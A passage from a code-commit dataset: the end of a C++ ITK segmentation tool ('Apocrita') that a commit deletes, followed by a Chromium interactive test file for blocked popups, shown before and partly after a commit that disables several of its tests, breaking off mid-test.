initializationOption->GetNumberOfParameters() > 2 )\n        {\n        std::string filename = initializationOption->GetParameter( 2 );\n\n        typedef itk::ImageFileReader<LabelImageType> ReaderType;\n        typename ReaderType::Pointer reader = ReaderType::New();\n        reader->SetFileName( filename.c_str() );\n        reader->Update();\n\n        segmenter->SetPriorLabelImage( reader->GetOutput() );\n        }\n      }\n    else\n      {\n      std::cerr << \"Unrecognized initialization strategy request.\" << std::endl;\n      return EXIT_FAILURE;\n      }\n    }\n\n  \/**\n   * number of iterations\n   *\/\n  typename itk::WASPCommandLineParser::OptionType::Pointer iterationsOption =\n    parser->GetOption( \"number-of-iterations\" );\n  if( iterationsOption )\n    {\n    segmenter->SetMaximumNumberOfIterations( parser->Convert<unsigned int>(\n                                               iterationsOption->GetValue() ) );\n    }\n\n  \/**\n   * convergence threshold\n   *\/\n  typename itk::WASPCommandLineParser::OptionType::Pointer convergenceOption =\n    parser->GetOption( \"convergence-threshold\" );\n  if( convergenceOption )\n    {\n    segmenter->SetConvergenceThreshold( parser->Convert<float>(\n                                          convergenceOption->GetValue() ) );\n    }\n  std::cout << segmenter->GetConvergenceThreshold() << std::endl;\n\n  \/**\n   * Mask image\n   *\/\n  typename itk::WASPCommandLineParser::OptionType::Pointer maskOption =\n    parser->GetOption( \"mask-image\" );\n  if( maskOption && maskOption->GetNumberOfValues() )\n    {\n    try\n      {\n      typedef  itk::ImageFileReader<LabelImageType> ReaderType;\n      typename ReaderType::Pointer reader = ReaderType::New();\n      reader->SetFileName( ( maskOption->GetValue() ).c_str() );\n      reader->Update();\n\n      segmenter->SetMaskImage( reader->GetOutput() );\n      }\n    catch( ... )\n      {\n      }\n    }\n\n  \/**\n   * BSpline options\n   *\/\n\n  typename itk::WASPCommandLineParser::OptionType::Pointer bsplineOption =\n    parser->GetOption( \"bspline\" );\n  if( bsplineOption && bsplineOption->GetNumberOfValues() )\n    {\n    if( bsplineOption->GetNumberOfParameters() > 0 )\n      {\n      std::vector<unsigned int> numLevels = parser->ConvertVector<unsigned int>(\n          bsplineOption->GetParameter( 0 ) );\n      typename SegmentationFilterType::ArrayType numberOfFittingLevels;\n\n      if( numLevels.size() == 1 )\n        {\n        numberOfFittingLevels.Fill( numLevels[0] );\n        }\n      else if( numLevels.size() == ImageDimension )\n        {\n        for( unsigned int d = 0; d < ImageDimension; d++ )\n          {\n          numberOfFittingLevels[d] = numLevels[d];\n          }\n        }\n      else\n        {\n        std::cerr << \"Incorrect number of levels\" << std::endl;\n        return EXIT_FAILURE;\n        }\n      segmenter->SetNumberOfLevels( numberOfFittingLevels );\n      }\n    if( bsplineOption->GetNumberOfParameters() > 2 )\n      {\n      segmenter->SetSplineOrder( parser->Convert<unsigned int>(\n                                   bsplineOption->GetParameter( 2 ) ) );\n      }\n    if( bsplineOption->GetNumberOfParameters() > 1 )\n      {\n      std::vector<unsigned int> array = parser->ConvertVector<unsigned int>(\n          bsplineOption->GetParameter( 1 ) );\n      typename SegmentationFilterType::ArrayType numberOfControlPoints;\n      if( array.size() == 1 )\n        {\n        numberOfControlPoints.Fill( array[0] + segmenter->GetSplineOrder() );\n        }\n      else if( array.size() == ImageDimension )\n        {\n        for( unsigned int d = 0; d < ImageDimension; d++ )\n          {\n          numberOfControlPoints[d] = array[d] + segmenter->GetSplineOrder();\n          }\n        }\n      else\n        {\n        std::cerr << \"Incorrect mesh resolution\" << std::endl;\n        return EXIT_FAILURE;\n        }\n      segmenter->SetNumberOfControlPoints( numberOfControlPoints );\n      }\n    }\n\n  \/**\n   * label-sigma\n   *\/\n  typename itk::WASPCommandLineParser::OptionType::Pointer labelSigmasOption =\n    parser->GetOption( \"label-sigma\" );\n  if( labelSigmasOption && labelSigmasOption->GetNumberOfValues() )\n    {\n    std::vector<float> labelSigmas;\n    for( unsigned int n = 0; n < segmenter->GetNumberOfClasses(); n++ )\n      {\n      labelSigmas.push_back( 0.0 );\n      }\n    for( unsigned int n = 0; n < labelSigmasOption->GetNumberOfValues(); n++ )\n      {\n      unsigned int whichClass = parser->Convert<unsigned int>(\n          labelSigmasOption->GetValue( n ) );\n      if( whichClass <= labelSigmas.size() )\n        {\n        labelSigmas[whichClass - 1] = parser->Convert<float>(\n            labelSigmasOption->GetParameter( n, 0 ) );\n        }\n      }\n    segmenter->SetPriorLabelSigmas( labelSigmas );\n    }\n\n  \/**\n   * MRF options\n   *\/\n  typename itk::WASPCommandLineParser::OptionType::Pointer mrfOption =\n    parser->GetOption( \"mrf\" );\n  if( mrfOption && mrfOption->GetNumberOfValues() )\n    {\n    if( mrfOption->GetNumberOfParameters() > 0 )\n      {\n      segmenter->SetMRFSmoothingFactor( parser->Convert<float>(\n                                          mrfOption->GetParameter( 0 ) ) );\n      }\n    if( mrfOption->GetNumberOfParameters() > 1 )\n      {\n      std::vector<unsigned int> array = parser->ConvertVector<unsigned int>(\n          mrfOption->GetParameter( 1 ) );\n      typename SegmentationFilterType::ArrayType radius;\n      if( array.size() == 1 )\n        {\n        radius.Fill( array[0] );\n        }\n      else if( array.size() == ImageDimension )\n        {\n        for( unsigned int d = 0; d < ImageDimension; d++ )\n          {\n          radius[d] = array[d];\n          }\n        }\n      segmenter->SetMRFRadius( radius );\n      }\n    if( mrfOption->GetNumberOfParameters() > 2 )\n      {\n      segmenter->SetMRFSigmoidAlpha( parser->Convert<float>(\n                                       mrfOption->GetParameter( 2 ) ) );\n      }\n    if( mrfOption->GetNumberOfParameters() > 3 )\n      {\n      segmenter->SetMRFSigmoidBeta( parser->Convert<float>(\n                                      mrfOption->GetParameter( 3 ) ) );\n      }\n    }\n\n  segmenter->Update();\n\n  \/**\n   * output\n   *\/\n  typename itk::WASPCommandLineParser::OptionType::Pointer outputOption =\n    parser->GetOption( \"output\" );\n  if( outputOption )\n    {\n    if( outputOption->GetNumberOfParameters() == 0 )\n      {\n      typedef  itk::ImageFileWriter<LabelImageType> WriterType;\n      typename WriterType::Pointer writer = WriterType::New();\n      writer->SetInput( segmenter->GetOutput() );\n      writer->SetFileName( ( outputOption->GetValue() ).c_str() );\n      writer->Update();\n      }\n    if( outputOption->GetNumberOfParameters() > 0 )\n      {\n      typedef  itk::ImageFileWriter<LabelImageType> WriterType;\n      typename WriterType::Pointer writer = WriterType::New();\n      writer->SetInput( segmenter->GetOutput() );\n      writer->SetFileName( ( outputOption->GetParameter( 0 ) ).c_str() );\n      writer->Update();\n      }\n    if( outputOption->GetNumberOfParameters() > 1 )\n      {\n      std::string filename = outputOption->GetParameter( 1 );\n\n      itk::NumericSeriesFileNames::Pointer fileNamesCreator =\n        itk::NumericSeriesFileNames::New();\n      fileNamesCreator->SetStartIndex( 1 );\n      fileNamesCreator->SetEndIndex( segmenter->GetNumberOfClasses() );\n      fileNamesCreator->SetSeriesFormat( filename.c_str() );\n      const std::vector<std::string> & imageNames\n        = fileNamesCreator->GetFileNames();\n      for( unsigned int i = 0; i < imageNames.size(); i++ )\n        {\n        std::cout << \"Writing posterior image (class \" << i + 1 << \")\" << std::endl;\n        typename InputImageType::Pointer probabilityImage\n          = segmenter->GetPosteriorImage( i ); \/\/ CalculatePosteriorProbabilityImage( i + 1 );\n\n        if( segmenter->GetMaskImage() )\n          {\n          typedef itk::MaskImageFilter<InputImageType, LabelImageType, InputImageType> MaskerType;\n          typename MaskerType::Pointer masker = MaskerType::New();\n          masker->SetInput1( probabilityImage );\n          masker->SetInput2( segmenter->GetMaskImage() );\n          masker->SetOutsideValue( 0 );\n          masker->Update();\n\n          probabilityImage = masker->GetOutput();\n          }\n\n        typedef  itk::ImageFileWriter<InputImageType> WriterType;\n        typename WriterType::Pointer writer = WriterType::New();\n        writer->SetInput( probabilityImage );\n        writer->SetFileName( imageNames[i].c_str() );\n        writer->Update();\n        }\n      }\n    if( outputOption->GetNumberOfParameters() > 2 )\n      {\n      std::string filename = outputOption->GetParameter( 2 );\n\n      itk::NumericSeriesFileNames::Pointer fileNamesCreator =\n        itk::NumericSeriesFileNames::New();\n      fileNamesCreator->SetStartIndex( 1 );\n      fileNamesCreator->SetEndIndex( segmenter->GetNumberOfClasses() );\n      fileNamesCreator->SetSeriesFormat( filename.c_str() );\n      const std::vector<std::string> & imageNames\n        = fileNamesCreator->GetFileNames();\n      for( unsigned int i = 0; i < segmenter->GetNumberOfClasses(); i++ )\n        {\n        if( segmenter->GetPriorProbabilityImage( i + 1 ) || segmenter->GetPriorLabelImage() )\n          {\n          std::cout << \"Writing B-spline image (class \" << i + 1 << \")\" << std::endl;\n\n          typename InputImageType::Pointer bsplineImage =\n            segmenter->CalculateSmoothIntensityImageFromPriorProbabilityImage( i + 1 );\n\n          typedef  itk::ImageFileWriter<InputImageType> WriterType;\n          typename WriterType::Pointer writer = WriterType::New();\n          writer->SetInput( bsplineImage );\n          writer->SetFileName( imageNames[i].c_str() );\n          writer->Update();\n          }\n        }\n      }\n    }\n\n  segmenter->Print( std::cout, 5 );\n\n  return EXIT_SUCCESS;\n}\n\nvoid InitializeCommandLineOptions( itk::WASPCommandLineParser *parser )\n{\n  typedef itk::WASPCommandLineParser::OptionType OptionType;\n\n    {\n    std::string description =\n      std::string( \"\\n\\tOption 1:  Kmeans[inputImage,numberOfClasses]\\n\" )\n      + std::string( \"\\tOption 2:  Otsu[inputImage,numberOfClasses]\\n\" )\n      + std::string( \"\\tOption 3:  PriorProbabilities[inputImage,numberOfClasses,\" )\n      + std::string( \"fileSeriesFormat(index=1 to numberOfClasses) or vectorImage,priorWeighting]\\n\" )\n      + std::string( \"\\tOption 4:  PriorLabelImage[inputImage,numberOfClasses,labelImage,priorWeighting]\" );\n\n    OptionType::Pointer option = OptionType::New();\n    option->SetLongName( \"initialization\" );\n    option->SetShortName( 'i' );\n    option->SetDescription( description );\n    parser->AddOption( option );\n    }\n\n    {\n    std::string description = std::string( \"Number of iterations\" );\n\n    OptionType::Pointer option = OptionType::New();\n    option->SetLongName( \"number-of-iterations\" );\n    option->SetShortName( 'n' );\n    option->SetDescription( description );\n    parser->AddOption( option );\n    }\n\n    {\n    std::string description = std::string( \"Convergence threshold\" );\n\n    OptionType::Pointer option = OptionType::New();\n    option->SetLongName( \"convergence-threshold\" );\n    option->SetShortName( 'c' );\n    option->SetDescription( description );\n    parser->AddOption( option );\n    }\n\n    {\n    std::string description = std::string( \"maskImage\" );\n\n    OptionType::Pointer option = OptionType::New();\n    option->SetLongName( \"mask-image\" );\n    option->SetShortName( 'x' );\n    option->SetDescription( description );\n    parser->AddOption( option );\n    }\n\n    {\n    std::string description\n      = std::string( \"[<smoothingFactor>,<radius>,<sigmoidAlpha>,<sigmoidBeta>]\" );\n\n    OptionType::Pointer option = OptionType::New();\n    option->SetLongName( \"mrf\" );\n    option->SetShortName( 'm' );\n    option->SetDescription( description );\n    parser->AddOption( option );\n    }\n\n    {\n    std::string description\n      = std::string( \"[<numberOfLevels>,<initialMeshResolution>,<splineOrder>]\" );\n\n    OptionType::Pointer option = OptionType::New();\n    option->SetLongName( \"bspline\" );\n    option->SetShortName( 'b' );\n    option->SetDescription( description );\n    parser->AddOption( option );\n    }\n\n    {\n    std::string description\n      = std::string( \"whichLabel[sigma]\" );\n\n    OptionType::Pointer option = OptionType::New();\n    option->SetLongName( \"label-sigma\" );\n    option->SetShortName( 'l' );\n    option->SetDescription( description );\n    parser->AddOption( option );\n    }\n\n    {\n    std::string description\n      = std::string( \"[classifiedImage,\" )\n        + std::string( \"<posteriorProbabilityImageFileNameFormat>,\" )\n        + std::string( \"<bSplineImageFileNameFormat>]\" );\n\n    OptionType::Pointer option = OptionType::New();\n    option->SetLongName( \"output\" );\n    option->SetShortName( 'o' );\n    option->SetDescription( description );\n    parser->AddOption( option );\n    }\n\n    {\n    std::string description\n      = std::string( \"Print menu.\" );\n\n    OptionType::Pointer option = OptionType::New();\n    option->SetLongName( \"help\" );\n    option->SetShortName( 'h' );\n    option->AddValue( std::string( \"0\" ) );\n    option->SetDescription( description );\n    parser->AddOption( option );\n    }\n}\n\nint main( int argc, char *argv[] )\n{\n  if( argc < 2 )\n    {\n    \/\/   std::cout << \" WASP : Wieldy Atlas-based Segmentation Protocol -- stinging the segmentation problem in the\n    \/\/ behind. \" << std::endl;\n\/\/\tstd::cout << \" wieldy [weel-dee] \" << std::endl;\n\/\/     std::cout <<  \" –adjective: readily wielded or managed, as in use or action. \" << std::endl;\n    std::cout\n    << \" Apocrita Segmentation :  A priori classification with registration initialized template assistance \"\n    << std::endl;\n    std::cout << \"Usage: \" << argv[0] << \" imageDimension args\" << std::endl;\n    std::cout << \"call: \" << argv[0] << \" -h \" << std::endl;\n    std::cout << \" this program has not been evaluated \" << std::endl;\n    exit( 1 );\n    }\n\n  itk::WASPCommandLineParser::Pointer parser = itk::WASPCommandLineParser::New();\n  parser->SetCommand( argv[0] );\n\n  parser->SetCommandDescription( \"Apocrita segmentation.\" );\n  InitializeCommandLineOptions( parser );\n\n  parser->Parse( argc, argv );\n\n  if( argc < 3 || parser->Convert<bool>(\n        parser->GetOption( \"help\" )->GetValue() ) )\n    {\n    parser->PrintMenu( std::cout, 5 );\n    exit( EXIT_FAILURE );\n    }\n\n  switch( atoi( argv[1] ) )\n    {\n    case 2:\n      ApocritaSegmentation<2>( parser );\n      break;\n    case 3:\n      ApocritaSegmentation<3>( parser );\n      break;\n    default:\n      std::cerr << \"Unsupported dimension\" << std::endl;\n      exit( EXIT_FAILURE );\n    }\n}\n<commit_msg>Deleting Apocrita class which has been replaced by Atropos.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2006-2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"app\/l10n_util.h\"\n#include \"base\/file_path.h\"\n#include \"base\/gfx\/rect.h\"\n#include \"chrome\/browser\/view_ids.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/test\/automation\/automation_constants.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/window_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"grit\/generated_resources.h\"\n#include \"net\/base\/net_util.h\"\n#include \"views\/event.h\"\n\nclass BlockedPopupContainerInteractiveTest : public UITest {\n protected:\n  BlockedPopupContainerInteractiveTest() {\n    show_window_ = true;\n  }\n\n  virtual void SetUp() {\n    UITest::SetUp();\n\n    browser_ = automation()->GetBrowserWindow(0);\n    ASSERT_TRUE(browser_.get());\n\n    window_ = browser_->GetWindow();\n    ASSERT_TRUE(window_.get());\n\n    tab_ = browser_->GetTab(0);\n    ASSERT_TRUE(tab_.get());\n  }\n\n  void NavigateMainTabTo(const std::wstring& file_name) {\n    FilePath filename(test_data_directory_);\n    filename = filename.AppendASCII(\"constrained_files\");\n    filename = filename.Append(FilePath::FromWStringHack(file_name));\n    ASSERT_TRUE(tab_->NavigateToURL(net::FilePathToFileURL(filename)));\n  }\n\n  void SimulateClickInCenterOf(const scoped_refptr<WindowProxy>& window) {\n    gfx::Rect tab_view_bounds;\n    ASSERT_TRUE(window->GetViewBounds(VIEW_ID_TAB_CONTAINER,\n                                      &tab_view_bounds, true));\n\n    \/\/ Simulate a click of the actual link to force user_gesture to be\n    \/\/ true; if we don't, the resulting popup will be constrained, which\n    \/\/ isn't what we want to test.\n    ASSERT_TRUE(window->SimulateOSClick(tab_view_bounds.CenterPoint(),\n                                        views::Event::EF_LEFT_BUTTON_DOWN));\n  }\n\n  scoped_refptr<BrowserProxy> browser_;\n  scoped_refptr<WindowProxy> window_;\n  scoped_refptr<TabProxy> tab_;\n};\n\nTEST_F(BlockedPopupContainerInteractiveTest, TestOpenAndResizeTo) {\n  NavigateMainTabTo(L\"constrained_window_onload_resizeto.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser != NULL);\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window != NULL);\n\n  \/\/ Make sure we were created with the correct width and height.\n  gfx::Rect rect;\n  bool is_timeout = false;\n  ASSERT_TRUE(popup_window->GetViewBoundsWithTimeout(\n                  VIEW_ID_TAB_CONTAINER, &rect, false, 1000, &is_timeout));\n  ASSERT_FALSE(is_timeout);\n\n#if !defined(OS_LINUX)\n  \/\/ TODO(estade): This is a real failure; we create popups with the wrong size.\n  \/\/ Fix it. Note: it appears that we are setting the window's bounds to 300,320\n  \/\/ instead of setting the content's bounds to 300,320.\n  EXPECT_EQ(300, rect.width());\n  EXPECT_EQ(320, rect.height());\n#endif\n\n  SimulateClickInCenterOf(popup_window);\n\n  \/\/ No idea how to wait here other then sleeping. This timeout used to be\n  \/\/ lower, then we started hitting it before it was done. :(\n  PlatformThread::Sleep(5000);\n\n  \/\/ The actual content will be LESS than (200, 200) because resizeTo\n  \/\/ deals with a window's outer{Width,Height} instead of its\n  \/\/ inner{Width,Height}.\n  is_timeout = false;\n  ASSERT_TRUE(popup_window->GetViewBoundsWithTimeout(\n                 VIEW_ID_TAB_CONTAINER, &rect, false, 1000, &is_timeout));\n  ASSERT_FALSE(is_timeout);\n  EXPECT_LT(rect.width(), 200);\n  EXPECT_LT(rect.height(), 200);\n}\n\n\/\/ TODO(estade): port.\n#if !defined(OS_LINUX)\n\/\/ Helper function used to get the number of blocked popups out of the window\n\/\/ title.\nbool ParseCountOutOfTitle(const std::wstring& title, int* output) {\n  \/\/ Since we will be reading the number of popup windows open by grabbing the\n  \/\/ number out of the window title, and that format string is localized, we\n  \/\/ need to find out the offset into that string.\n  const wchar_t* placeholder = L\"XXXX\";\n  size_t offset =\n      l10n_util::GetStringF(IDS_POPUPS_BLOCKED_COUNT, placeholder).\n      find(placeholder);\n\n  std::wstring number;\n  while (offset < title.size() && iswdigit(title[offset])) {\n    number += title[offset];\n    offset++;\n  }\n\n  return StringToInt(WideToUTF16(number), output);\n}\n\n\/\/ Tests that in the window.open() equivalent of a fork bomb, we stop building\n\/\/ windows.\nTEST_F(BlockedPopupContainerInteractiveTest, DontSpawnEndlessPopups) {\n  NavigateMainTabTo(L\"infinite_popups.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n\n  \/\/ And now we spin, waiting to make sure that we don't spawn popup\n  \/\/ windows endlessly. The current limit is 25, so allowing for possible race\n  \/\/ conditions and one off errors, don't break out until we go over 30 popup\n  \/\/ windows (in which case we are bork bork bork).\n  const int kMaxPopupWindows = 30;\n\n  int popup_window_count = 0;\n  int new_popup_window_count = 0;\n  int times_slept = 0;\n  bool continuing = true;\n  while (continuing && popup_window_count < kMaxPopupWindows) {\n    ASSERT_TRUE(popup_tab->GetBlockedPopupCount(&new_popup_window_count));\n    if (new_popup_window_count == popup_window_count) {\n      if (times_slept == 10) {\n        continuing = false;\n      } else {\n        \/\/ Nothing intereseting is going on wait it out.\n        PlatformThread::Sleep(automation::kSleepTime);\n        times_slept++;\n      }\n    } else {\n      times_slept = 0;\n    }\n\n    EXPECT_GE(new_popup_window_count, popup_window_count);\n    EXPECT_LE(new_popup_window_count, kMaxPopupWindows);\n    popup_window_count = new_popup_window_count;\n  }\n}\n\n\/\/ Make sure that we refuse to close windows when a constrained popup is\n\/\/ displayed.\nTEST_F(BlockedPopupContainerInteractiveTest, WindowOpenWindowClosePopup) {\n  NavigateMainTabTo(L\"openclose_main.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 5000));\n\n  \/\/ Make sure we have a blocked popup notification\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n  ASSERT_TRUE(popup_tab->WaitForBlockedPopupCountToChangeTo(1, 1000));\n\n  \/\/ Ensure we didn't close the first popup window.\n  ASSERT_FALSE(automation()->WaitForWindowCountToBecome(1, 3000));\n}\n\nTEST_F(BlockedPopupContainerInteractiveTest, BlockAlertFromBlockedPopup) {\n  NavigateMainTabTo(L\"block_alert.html\");\n\n  \/\/ Wait for there to be an app modal dialog (and fail if it's shown).\n  ASSERT_FALSE(automation()->WaitForAppModalDialog(4000));\n\n  \/\/ Ensure one browser window.\n  int browser_window_count;\n  ASSERT_TRUE(automation()->GetBrowserWindowCount(&browser_window_count));\n  ASSERT_EQ(1, browser_window_count);\n\n  \/\/ Ensure one blocked popup window: the popup didn't escape.\n  int popup_count = 0;\n  ASSERT_TRUE(tab_->GetBlockedPopupCount(&popup_count));\n  ASSERT_EQ(1, popup_count);\n}\n\nTEST_F(BlockedPopupContainerInteractiveTest, ShowAlertFromNormalPopup) {\n  NavigateMainTabTo(L\"show_alert.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 5000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n\n  SimulateClickInCenterOf(popup_window);\n\n  \/\/ Wait for there to be an app modal dialog.\n  ASSERT_TRUE(automation()->WaitForAppModalDialog(5000));\n}\n\n\/\/ Make sure that window focus works while creating a popup window so that we\n\/\/ don't\nTEST_F(BlockedPopupContainerInteractiveTest, DontBreakOnBlur) {\n  NavigateMainTabTo(L\"window_blur_test.html\");\n  SimulateClickInCenterOf(window_);\n\n  \/\/ Wait for the popup window to open.\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  \/\/ We popup shouldn't be closed by the onblur handler.\n  ASSERT_FALSE(automation()->WaitForWindowCountToBecome(1, 1500));\n}\n#endif\n<commit_msg>Disable some blocked popup container tests to green the tree.<commit_after>\/\/ Copyright (c) 2006-2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"app\/l10n_util.h\"\n#include \"base\/file_path.h\"\n#include \"base\/gfx\/rect.h\"\n#include \"chrome\/browser\/view_ids.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/test\/automation\/automation_constants.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/window_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"grit\/generated_resources.h\"\n#include \"net\/base\/net_util.h\"\n#include \"views\/event.h\"\n\nclass BlockedPopupContainerInteractiveTest : public UITest {\n protected:\n  BlockedPopupContainerInteractiveTest() {\n    show_window_ = true;\n  }\n\n  virtual void SetUp() {\n    UITest::SetUp();\n\n    browser_ = automation()->GetBrowserWindow(0);\n    ASSERT_TRUE(browser_.get());\n\n    window_ = browser_->GetWindow();\n    ASSERT_TRUE(window_.get());\n\n    tab_ = browser_->GetTab(0);\n    ASSERT_TRUE(tab_.get());\n  }\n\n  void NavigateMainTabTo(const std::wstring& file_name) {\n    FilePath filename(test_data_directory_);\n    filename = filename.AppendASCII(\"constrained_files\");\n    filename = filename.Append(FilePath::FromWStringHack(file_name));\n    ASSERT_TRUE(tab_->NavigateToURL(net::FilePathToFileURL(filename)));\n  }\n\n  void SimulateClickInCenterOf(const scoped_refptr<WindowProxy>& window) {\n    gfx::Rect tab_view_bounds;\n    ASSERT_TRUE(window->GetViewBounds(VIEW_ID_TAB_CONTAINER,\n                                      &tab_view_bounds, true));\n\n    \/\/ Simulate a click of the actual link to force user_gesture to be\n    \/\/ true; if we don't, the resulting popup will be constrained, which\n    \/\/ isn't what we want to test.\n    ASSERT_TRUE(window->SimulateOSClick(tab_view_bounds.CenterPoint(),\n                                        views::Event::EF_LEFT_BUTTON_DOWN));\n  }\n\n  scoped_refptr<BrowserProxy> browser_;\n  scoped_refptr<WindowProxy> window_;\n  scoped_refptr<TabProxy> tab_;\n};\n\nTEST_F(BlockedPopupContainerInteractiveTest, DISABLED_TestOpenAndResizeTo) {\n  NavigateMainTabTo(L\"constrained_window_onload_resizeto.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser != NULL);\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window != NULL);\n\n  \/\/ Make sure we were created with the correct width and height.\n  gfx::Rect rect;\n  bool is_timeout = false;\n  ASSERT_TRUE(popup_window->GetViewBoundsWithTimeout(\n                  VIEW_ID_TAB_CONTAINER, &rect, false, 1000, &is_timeout));\n  ASSERT_FALSE(is_timeout);\n\n#if !defined(OS_LINUX)\n  \/\/ TODO(estade): This is a real failure; we create popups with the wrong size.\n  \/\/ Fix it. Note: it appears that we are setting the window's bounds to 300,320\n  \/\/ instead of setting the content's bounds to 300,320.\n  EXPECT_EQ(300, rect.width());\n  EXPECT_EQ(320, rect.height());\n#endif\n\n  SimulateClickInCenterOf(popup_window);\n\n  \/\/ No idea how to wait here other then sleeping. This timeout used to be\n  \/\/ lower, then we started hitting it before it was done. :(\n  PlatformThread::Sleep(5000);\n\n  \/\/ The actual content will be LESS than (200, 200) because resizeTo\n  \/\/ deals with a window's outer{Width,Height} instead of its\n  \/\/ inner{Width,Height}.\n  is_timeout = false;\n  ASSERT_TRUE(popup_window->GetViewBoundsWithTimeout(\n                 VIEW_ID_TAB_CONTAINER, &rect, false, 1000, &is_timeout));\n  ASSERT_FALSE(is_timeout);\n  EXPECT_LT(rect.width(), 200);\n  EXPECT_LT(rect.height(), 200);\n}\n\n\/\/ TODO(estade): port.\n#if !defined(OS_LINUX)\n\/\/ Helper function used to get the number of blocked popups out of the window\n\/\/ title.\nbool ParseCountOutOfTitle(const std::wstring& title, int* output) {\n  \/\/ Since we will be reading the number of popup windows open by grabbing the\n  \/\/ number out of the window title, and that format string is localized, we\n  \/\/ need to find out the offset into that string.\n  const wchar_t* placeholder = L\"XXXX\";\n  size_t offset =\n      l10n_util::GetStringF(IDS_POPUPS_BLOCKED_COUNT, placeholder).\n      find(placeholder);\n\n  std::wstring number;\n  while (offset < title.size() && iswdigit(title[offset])) {\n    number += title[offset];\n    offset++;\n  }\n\n  return StringToInt(WideToUTF16(number), output);\n}\n\n\/\/ Tests that in the window.open() equivalent of a fork bomb, we stop building\n\/\/ windows.\nTEST_F(BlockedPopupContainerInteractiveTest, DISABLED_DontSpawnEndlessPopups) {\n  NavigateMainTabTo(L\"infinite_popups.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n\n  \/\/ And now we spin, waiting to make sure that we don't spawn popup\n  \/\/ windows endlessly. The current limit is 25, so allowing for possible race\n  \/\/ conditions and one off errors, don't break out until we go over 30 popup\n  \/\/ windows (in which case we are bork bork bork).\n  const int kMaxPopupWindows = 30;\n\n  int popup_window_count = 0;\n  int new_popup_window_count = 0;\n  int times_slept = 0;\n  bool continuing = true;\n  while (continuing && popup_window_count < kMaxPopupWindows) {\n    ASSERT_TRUE(popup_tab->GetBlockedPopupCount(&new_popup_window_count));\n    if (new_popup_window_count == popup_window_count) {\n      if (times_slept == 10) {\n        continuing = false;\n      } else {\n        \/\/ Nothing intereseting is going on wait it out.\n        PlatformThread::Sleep(automation::kSleepTime);\n        times_slept++;\n      }\n    } else {\n      times_slept = 0;\n    }\n\n    EXPECT_GE(new_popup_window_count, popup_window_count);\n    EXPECT_LE(new_popup_window_count, kMaxPopupWindows);\n    popup_window_count = new_popup_window_count;\n  }\n}\n\n\/\/ Make sure that we refuse to close windows when a constrained popup is\n\/\/ displayed.\nTEST_F(BlockedPopupContainerInteractiveTest, DISABLED_WindowOpenWindowClosePopup) {\n  NavigateMainTabTo(L\"openclose_main.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 5000));\n\n  \/\/ Make sure we have a blocked popup notification\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n  ASSERT_TRUE(popup_tab->WaitForBlockedPopupCountToChangeTo(1, 1000));\n\n  \/\/ Ensure we didn't close the first popup window.\n  ASSERT_FALSE(automation()->WaitForWindowCountToBecome(1, 